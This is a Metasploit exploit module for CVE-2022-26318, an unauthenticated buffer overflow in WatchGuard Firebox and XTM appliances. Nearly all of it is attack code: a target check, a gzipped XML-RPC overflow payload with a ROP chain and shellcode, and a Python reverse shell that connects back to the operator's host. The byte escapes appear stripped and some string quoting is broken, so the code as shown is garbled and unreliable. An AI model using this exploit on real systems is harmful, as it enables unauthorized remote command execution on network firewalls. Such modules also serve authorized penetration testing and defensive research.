##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zlib'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WatchGuard XTM Firebox Unauthenticated Remote Command Execution',
'Description' => %q{
This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox
and XTM appliances which is built from a cherrypy python backend sending XML-RPC requests to a C binary
called wgagent using pre-authentication endpoint /agent/login.
This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x
before 12.5.9_U2. Successful exploitation results in remote code execution as user nobody.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
'Charles Fol (Ambionics Security)', # discovery
'Dylan Pindur (AssetNote)', # reverse engineering of CVE-2022-26318'
'Misterxid' # POC
],
'References' => [
[ 'CVE', '2022-26318' ],
[ 'URL', 'https://www.ambionics.io/blog/hacking-watchguard-firewalls' ],
[ 'URL', 'https://www.assetnote.io/resources/research/diving-deeper-into-watchguard-pre-auth-rce-cve-2022-26318' ],
[ 'URL', 'https://github.com/misterxid/watchguard_cve-2022-26318' ],
[ 'URL', 'https://attackerkb.com/topics/t8Nrnu99ZE/cve-2022-26318' ]
],
'License' => MSF_LICENSE,
'Platform' => [ 'unix' ],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Automatic (Reverse Python Interactive Shell)',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python',
'SHELL' => '/usr/bin/python'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-08-29',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 8080
},
'Notes' => {
'Stability' => [ SERVICE_RESOURCE_LOSS ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'WatchGuard Firebox base url', '/' ])
]
)
end
def check_watchguard_firebox?
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'auth', 'login'),
'vars_get' => {
'from_page' => '/'
}
})
return true if res && res.code == 200 && res.body.include?('Powered by WatchGuard Technologies') && res.body.include?('Firebox')
false
end
def create_bof_payload
# temporary filename in /tmp where python payload will be stored.
@py_fname = "/tmp/#{Rex::Text.rand_text_alphanumeric(4)}.py"
# xml overflow payload
payload = '<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'.encode
payload << ('A' * 3181).encode
payload << 'MFA>'.encode
payload << ('<BBBBMFA>' * 3680).encode
# padding and rop chain
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 P@x00x00"
payload << "x00x00x00hxf9@x00x00x00x00x00 P@x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xb1xd5A"
payload << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00}^@x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00|^@x00x00x00x00x00xadxd2Ax00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x0exd6Ax00x00x00x00x00xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00*xa9@x00x00x00x00x00Hx8d=x9dx00x00x00xbeAx02x00x00xbaxb6"
payload << "x01x00x00xb8x02x00x00x00x0fx05Hx89x05x92x00x00x00Hx8bx15x93x00x00x00Hx8d5x94x00"
payload << "x00x00Hx8b=}x00x00x00xb8x01x00x00x00x0fx05Hx8b=ox00x00x00xb8x03x00x00x00x0fx05xb8;"
payload << "x00x00x00Hx8d=?x00x00x00Hx89= x00x00x00Hx8d5Ax00x00x00Hx895x1ax00x00x00Hx8d5x0bx00"
payload << "x00x001xd2x0fx05xb8<x00x00x00x0fx05x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
payload << "x00x00x00x00x00x00x00x00x00#{datastore['SHELL']}x00#{@py_fname}x00x00x00x00x00x00x00x00x00xef"
payload << "x01x00x00x00x00x00x00"
# shell code to launch an reverse interactive python shell
# The Watchguard appliance has a very restricted linux command set, readonly root filesystem and no unix shells installed
# The interactive Python shell (-i) is for now the only way to get shell access
payload << 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'.encode
payload << "s.connect(("#{datastore['LHOST']}",#{datastore['LPORT']})); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);".encode
payload << "call(["#{datastore['SHELL']}","-i"]);".encode
payload << "import os; os.remove("#{@py_fname}");".encode
return Zlib.gzip(payload)
end
def check
print_status("Checking if #{peer} can be exploited.")
return CheckCode::Detected if check_watchguard_firebox?
CheckCode::Safe
end
def exploit
print_status("#{peer} - Attempting to exploit...")
bof_payload = create_bof_payload
print_status("#{peer} - Sending payload...")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'agent', 'login'),
'headers' => {
'Accept-Encoding' => 'gzip, deflate',
'Content-Encoding' => 'gzip'
},
'data' => bof_payload
})
end
end
contact :